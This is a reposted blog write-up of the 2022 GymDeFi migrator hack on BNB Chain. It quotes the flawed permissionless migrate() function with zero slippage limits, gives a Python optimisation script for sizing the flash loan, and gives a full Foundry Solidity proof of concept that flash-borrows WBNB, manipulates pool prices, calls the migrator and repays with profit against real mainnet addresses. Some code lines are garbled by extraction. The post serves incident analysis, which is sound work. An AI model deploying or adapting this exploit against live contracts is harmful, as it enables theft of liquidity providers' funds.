前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >gymdefi hack

gymdefi hack

作者头像
Tiny熊
发布2022-05-25 15:57:50
7640
发布2022-05-25 15:57:50
举报
文章被收录于专栏:深入浅出区块链技术

本文作者:bixia1994[1]

Ref

https://bscscan.com/address/0x1befe6f3f0e8edd2d4d15cae97baee01e51ea4a4#code https://versatile.blocksecteam.com/tx/bsc/0xa5b0246f2f8d238bb56c0ddb500b04bbe0c30db650e06a41e00b6a0fff11a7e5 https://twitter.com/BlockSecTeam/status/1512832398643265537

analysis

the interesting point is in the migrate function: it is permissonless, and the minimal is 0. just like Router.swapTokensForExactTokens,when the minimal received tokens sets to 0, means we can use sandwitch attack to trigger it. let me check, how to make use of it?

pool1: v1Address+WBNB pool2: v2Address+WBNB pool3: WBNB+BUSD 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16

addLiquidityETH actually only addliquidity for the actual price, named get the quote price:uint amountBOptimal = PancakeLibrary.quote(amountADesired, reserveA, reserveB);when it is unbalance, it will return it back. for the token, it only transferFrom the amount needed, for the ETH part, it will refund the extra.

ETH 多, token 少,多的 ETH 会退还给我。可以通过 swap[2] 来拉开价格,造成 ETH 多,token 少的情况。migrate 认为:固定互换 tokenA: tokenB = 1: 1

add: tokenA 1, WETH 100 tokenA: WETH = 1: 100 lp1=> 1,100 tokenB: WETH = 1: 1 lp2=> 1,1 return WETH 99

pool3.swap: WBNB.transfer(300,000 ether) pool1.swap(BNB,tokenA) => pull up price pool1.addLiquidityETH(100) => add liquidity migrate(pool1.lp) => WETH.transfer(unused weth) pool2.removeLiquidityETH(pool2.lp) pool2.swap(tokenB,WETH)

代码语言:javascript
复制
repay flashloan

利润点来自于哪?

add: tokenA 100, WETH 1 tokenA: WETH = 100: 1 lp1=> 100, 1 tokenB: WETH = 1 : 1 lp2=> 100, 1 => 1:1 亏损!

代码语言:javascript
复制
function migrate(uint256 _lpTokens) public nonReentrant {
      require(_lpTokens > 0, "zero LP tokens sended");
      require(IERC20(lpAddress).transferFrom(_msgSender(), address(this), _lpTokens), "transfer failed");
      (uint256 amountTokenRecived,
       uint256 amountEthRecived) = Router.removeLiquidityETH(
          v1Address,
          _lpTokens,
          0,
          0,
          address(this),
          block.timestamp);

      (uint256 amountTokenStaked,
       uint256 amountEthStaked,
       uint256 LpStaked) = Router.addLiquidityETH{value:amountEthRecived}(
          v2Address,
          amountTokenRecived,
          0,
          0,
          _msgSender(),
          block.timestamp);

      uint256 diffEth = amountEthRecived - amountEthStaked;
      if (diffEth > 0) {
        payable(_msgSender()).transfer(diffEth);
      }

      emit migration(_lpTokens, LpStaked);
  }

当前的各池子中 token 的数量:r0:WBNB, r1:token lp1: r0: 48224671390454476706 lp1: r1: 7139690912895574196500916 totalSupply: 17394738131426634503255 lp2: r0: 11387586657604004961399 lp2: r1: 7677163643402146827976102 totalSupply: 294523598916735041728760 v1Token: balance: 7882399482106057873876655 v2Token: balance: 1450998605164940945782286

因为 migrate 的思路是把 v1Token 按照 1:1 的方式换成 v2Token,故能够换成 v2Token 的最大值就是 1450998605164940945782286, 那么我 V1Token 通过 removeLiquidity 的方式需要取出来的数量就是 1450998605164940945782286, 假设我贷款 X 个 WBNB,将其分成两份,y1 用作第一步 swap 出 v1Token,y2 用作第二步和 swap 出的 v1Token 组成 LP

the real probelm is how to find the maximum result

Calculator

代码语言:javascript
复制
# %%
from gekko import GEKKO
m = GEKKO()

# %%
lp1_r0_init = m.Param(value=48224671390454476706/10**18)
lp1_r0_init

# %%
lp1_r1_init = m.Param(value=7139690912895574196500916/10**18)
lp1_r1_init

# %%
lp1_totalSupply_init = m.Param(value=17394738131426634503255/10**18)
lp1_totalSupply_init

# %%
lp2_r0_init = m.Param(value=11387586657604004961399/10**18)
lp2_r0_init

# %%
lp2_r1_init = m.Param(value=7677163643402146827976102/10**18)
lp2_r1_init

# %%
lp2_totalSupply_init = m.Param(value=294523598916735041728760/10**18)
lp2_totalSupply_init

# %%
migrator_v1Token = m.Param(value=7882399482106057873876655/10**18)
migrator_v1Token

# %%
migrator_v2Token = m.Param(value=1450998605164940945782286/10**18)
migrator_v2Token

# %%
BNB_CAP = m.Param(value=440304078411902800794002/10**18)
BNB_CAP

# %%
dump = m.Var(lb=0, value=200000)
lqty = m.Var(lb=0, value=200000)
dump, lqty


# %%
# step1: dump BNB to BNB/v1Address pool
lp1_r0_dump = lp1_r0_init + dump
lp1_r1_dump = (lp1_r0_init * lp1_r1_init) / lp1_r0_dump
v1ReceivedAfterDump = lp1_r1_init - lp1_r1_dump
v1ReceivedAfterDump



# %%
# keep the price steal, not move the price. so just scale is ok
lp1_r1_lqty = lp1_r1_dump + v1ReceivedAfterDump
lp1_r0_lqty = lp1_r0_dump * lp1_r1_lqty / lp1_r1_dump
lp1_lqty = v1ReceivedAfterDump / lp1_r1_dump * lp1_totalSupply_init
lp1_totalSupply_lqty = lp1_totalSupply_init + lp1_lqty



# %%
lqty = lp1_r0_lqty - lp1_r0_dump
m.Equation(dump + lqty <= BNB_CAP)

# %%
# step3: migrate liquidity:: calculate the receive amount
migrator_r0_burn = lp1_lqty / lp1_totalSupply_lqty * lp1_r0_lqty
migrator_r1_burn = lp1_lqty / lp1_totalSupply_lqty * lp1_r1_lqty
lp1_totalSupply_burn = lp1_totalSupply_lqty - lp1_lqty

# %%
m.Equation(migrator_r1_burn <= migrator_v2Token)

# %%
# step4: migrate liquidity:: add liquidity to lp2, as the price not move, just scale is ok
quoteETH = lp2_r0_init / lp2_r1_init * migrator_r1_burn
m.Equation(quoteETH <= migrator_r0_burn)
ETHleft = migrator_r0_burn - quoteETH

lp2_r0_lqty = lp2_r0_init + quoteETH
lp2_r1_lqty = lp2_r1_init + migrator_r1_burn
lp2_lqty = quoteETH / lp2_r0_init * lp2_totalSupply_init
lp2_totalSupply_lqty = lp2_totalSupply_init + lp2_lqty

# %%
# # step4: token more, eth less
# quoteToken = lp2_r1_init / lp2_r0_init * migrator_r0_burn
# m.Equation(quoteToken <= migrator_r1_burn)
# ETHleft = 0
# lp2_r0_lqty = lp2_r0_init + migrator_r0_burn
# lp2_r1_lqty = lp2_r1_init + quoteToken
# lp2_lqty = quoteToken / lp2_r1_init * lp2_totalSupply_init
# lp2_totalSupply_lqty = lp2_totalSupply_init + lp2_lqty

# %%
# step5: remove liquidity from lp2
lp2_totalSupply_burn = lp2_totalSupply_lqty - lp2_lqty
lp2_r0_burn = lp2_lqty * lp2_r0_lqty / lp2_totalSupply_lqty
lp2_r1_burn = lp2_lqty * lp2_r1_lqty / lp2_totalSupply_lqty
v2Received = lp2_r1_lqty - lp2_r1_burn
ETHReceived = lp2_r0_lqty - lp2_r0_burn

# %%
# step6: dump v2 to v2/BNB pool
lp2_r1_dump = lp2_r1_burn + v2Received
lp2_r0_dump = lp2_r0_burn * lp2_r1_burn / lp2_r1_dump
ETHSwappedOut = lp2_r0_burn - lp2_r0_dump

# %%
ETHtotal = ETHleft + ETHReceived + ETHSwappedOut

# %%
profit = ETHtotal - dump - lqty

# %%
m.Maximize(profit)

# %%
m.options.IMODE = 3
m.solve()

# %%
m.options.OBJFCNVAL

# %%
dump.VALUE

# %%
lqty.VALUE

POC

代码语言:javascript
复制
pragma solidity 0.8.12;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

//forge test --match-contract MigrateHack --fork-url $BSC_RPC_URL --fork-block-number 16798806 -vvvv
contract MigrateData is DSTest, stdCheats {
    Vm public vm = Vm(HEVM_ADDRESS);

    address public v1Address = 0xE98D920370d87617eb11476B41BF4BE4C556F3f8;
    address public v2Address = 0x3a0d9d7764FAE860A659eb96A500F1323b411e68;
    address public lpAddress = 0x8dC058bA568f7D992c60DE3427e7d6FC014491dB;
    address public lpAddress2 = 0x627F27705c8C283194ee9A85709f7BD9E38A1663;
    address public router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address public lp2 = 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16;
    address public migrator = 0x1BEfe6f3f0E8edd2D4D15Cae97BAEe01E51ea4A4;

    address public WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address public hacker = 0x74298086C94dAb3252C5DAC979C9755c2EB08e49;
    address public hackerContract = 0x4e284686FBCC0F2900F638B04C4D4b433C40a345;
}

interface PairLike {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function token0() external view returns (address);

    function totalSupply() external view returns (uint256);

    function getReserves()
        external
        view
        returns (
            uint256,
            uint256,
            uint256
        );

    function balanceOf(address owner) external view returns (uint256);
}

interface RouterLike {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface MigratorLike {
    function migrate(uint256 _lpTokens) external;
}

interface ERC20Like {
    function transfer(address to, uint256 value) external returns (bool);

    function balanceOf(address owner) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function depoist() external payable;

    function withdraw(uint256) external;
}

contract Hack is MigrateData {
    uint256 public a = 1;
    uint256 public b = 1;

    constructor() {
        ERC20Like(WBNB).approve(router, type(uint256).max);
        ERC20Like(v1Address).approve(router, type(uint256).max);
        ERC20Like(v2Address).approve(router, type(uint256).max);
        ERC20Like(lpAddress2).approve(router, type(uint256).max);

        ERC20Like(lpAddress).approve(migrator, type(uint256).max);
    }

    ///flashswap BNB from lp2
    function start(uint256 _a, uint256 _b) public returns (uint256 profit) {
        a = _a;
        b = _b;

        uint256 amountBNB = ERC20Like(WBNB).balanceOf(lp2) / a - 1;

        (uint256 amount0Out, uint256 amount1Out) = PairLike(lp2).token0() ==
            WBNB
            ? (amountBNB, uint256(0))
            : (uint256(0), amountBNB);
        PairLike(lp2).swap(amount0Out, amount1Out, address(this), hex"4060");
        res();
        profit = ERC20Like(WBNB).balanceOf(address(this));
    }

    ///do the heavy lifting
    function pancakeCall(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        ///swap WBNB for v1
        ///addliqiudity WBNB and v1 to pair1
        ///migrate lp token
        ///remove liquidity WBNB and v1 from pair2
        ///swap v2 for WBNB
        ///repay flashloan
        uint256 balanceBefore = ERC20Like(WBNB).balanceOf(address(this));

        address[] memory path = new address[](2 "] memory path = new address[");
        path[0] = WBNB;
        path[1] = v1Address;
        RouterLike(router).swapExactTokensForTokens(
            balanceBefore / b,
            0,
            path,
            address(this),
            type(uint256).max
        );
        (, , uint256 liquidity) = RouterLike(router).addLiquidity(
            WBNB,
            v1Address,
            ERC20Like(WBNB).balanceOf(address(this)),
            ERC20Like(v1Address).balanceOf(address(this)),
            0,
            0,
            address(this),
            type(uint256).max
        );
        MigratorLike(migrator).migrate(liquidity);
        ///balance after v1Token
        path[0] = v1Address;
        path[1] = WBNB;
        RouterLike(router).swapExactTokensForTokens(
            ERC20Like(v1Address).balanceOf(address(this)),
            0,
            path,
            address(this),
            type(uint256).max
        );
        uint256 liquidity2 = PairLike(lpAddress2).balanceOf(address(this));
        RouterLike(router).removeLiquidityETH(
            v2Address,
            liquidity2,
            0,
            0,
            address(this),
            type(uint256).max
        );
        address[] memory path2 = new address[](2 "] memory path2 = new address[");
        path2[0] = v2Address;
        path2[1] = WBNB;
        RouterLike(router)
            .swapExactTokensForTokensSupportingFeeOnTransferTokens(
                ERC20Like(v2Address).balanceOf(address(this)),
                0,
                path2,
                address(this),
                type(uint256).max
            );
        ERC20Like(WBNB).depoist{value: address(this).balance}();
        // assertEq(ERC20Like(WBNB).balanceOf(address(this)), balanceBefore);
        require(
            ERC20Like(WBNB).balanceOf(address(this)) >=
                (balanceBefore * 100251) / 100000,
            "not enough"
        );
        ERC20Like(WBNB).transfer(lp2, (balanceBefore * 100251) / 100000);
    }

    function res() public {
        emit log_named_uint(
            "WBNB balance",
            ERC20Like(WBNB).balanceOf(address(this))
        );
    }

    receive() external payable {}
}

contract MigrateHack is MigrateData {
    Hack public hack;

    function setUp() public {
        hack = new Hack();

        vm.label(lpAddress, "lp1");
        vm.label(v1Address, "v1Token");
        vm.label(v2Address, "v2Token");
        vm.label(router, "router");
        vm.label(lp2, "BNBLp");
        vm.label(migrator, "migrator");
        vm.label(address(hack), "hack");

        vm.label(lpAddress2, "lp2");
        vm.label(WBNB, "WBNB");
        vm.label(hacker, "hacker");
        vm.label(hackerContract, "hackerContract");
    }

    //1311.985186973893 profit!!! salute the hacker!!
    function _test_Reply() public {
        vm.startPrank(hacker);
        address(hackerContract).call(
            hex"35cd4a210000000000000000000000000000000000000000000000821ab0d4414980000000000000000000000000000000000000000000000000002086ac35105260000000000000000000000000000000000000000000000001287626ee52197b000000"
        );
        uint256 profit1 = ERC20Like(WBNB).balanceOf(hacker);
        uint256 profit2 = ERC20Like(WBNB).balanceOf(address(hackerContract));

        emit log_named_uint("profit1", profit1);
        emit log_named_uint("profit2", profit2);
    }

    function test_Params() public {
        ///getReserves

        (uint256 r0, uint256 r1, ) = PairLike(lpAddress).getReserves();
        (r0, r1) = PairLike(lpAddress).token0() == WBNB ? (r0, r1) : (r1, r0);
        emit log_named_uint("lp1: r0", r0); //48224671390454476706
        emit log_named_uint("lp1: r1", r1); //7139690912895574196500916
        emit log_named_uint("totalSupply", PairLike(lpAddress).totalSupply());
        (r0, r1, ) = PairLike(lpAddress2).getReserves();
        (r0, r1) = PairLike(lpAddress2).token0() == WBNB ? (r0, r1) : (r1, r0);
        emit log_named_uint("lp2: r0", r0); //11387586657604004961399
        emit log_named_uint("lp2: r1", r1); //7677163643402146827976102
        emit log_named_uint("totalSupply", PairLike(lpAddress2).totalSupply());
        uint256 v1AddressBalance = ERC20Like(v1Address).balanceOf(migrator); //7882399482106057873876655
        emit log_named_uint("v1Token: balance", v1AddressBalance);
        uint256 v2AddressBalance = ERC20Like(v2Address).balanceOf(migrator); //1450998605164940945782286
        emit log_named_uint("v2Token: balance", v2AddressBalance);
        emit log_named_uint("BNB CAP", ERC20Like(WBNB).balanceOf(lp2));
    }

    function _test_Start() public {
        hack.start(1, 40);
    }

    function test_start_1_40() public {
        uint256 profit = hack.start(1, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_40() public {
        uint256 profit = hack.start(2, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_40() public {
        uint256 profit = hack.start(3, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_4_40() public {
        uint256 profit = hack.start(4, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_1_30() public {
        uint256 profit = hack.start(1, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_30() public {
        uint256 profit = hack.start(2, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_30() public {
        uint256 profit = hack.start(3, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_4_30() public {
        uint256 profit = hack.start(4, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_1_20() public {
        uint256 profit = hack.start(1, 20);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_20() public {
        uint256 profit = hack.start(2, 20);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_20() public {
        uint256 profit = hack.start(3, 20);
        emit log_named_uint("profit", profit);
    }

    ///seems this one is the best? 1085.452240887216 ether
    function test_start_4_20() public {
        uint256 profit = hack.start(4, 20);
        emit log_named_uint("profit", profit);
    }

    function test_start_1_10() public {
        uint256 profit = hack.start(1, 10);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_10() public {
        uint256 profit = hack.start(2, 10);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_10() public {
        uint256 profit = hack.start(3, 10);
        emit log_named_uint("profit", profit);
    }

    function test_start_4_10() public {
        uint256 profit = hack.start(4, 10);
        emit log_named_uint("profit", profit);
    }

    // function test_iterate() public {
    //     for (uint i = 1; i < 5; i++) {
    //         for (uint j = 40; j >= 0; j -= 10) {
    //             (bool success, bytes memory data) = address(hack).call(
    //                 abi.encodeWithSignature(
    //                     "start(uint256,uint256)",
    //                     i,j
    //                 )
    //             );
    //             uint256 profit = abi.decode(data, (uint256));
    //             if (!success) profit = 0;
    //             emit log_named_uint("i:", i);
    //             emit log_named_uint("j:", j);
    //             emit log_named_uint("profit", profit);
    //         }
    //     }
    // }
}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

[2]

swap: https://learnblockchain.cn/article/3094

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-04-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Ref
  • analysis
  • Calculator
  • POC
    • 参考资料
    相关产品与服务
    区块链
    云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档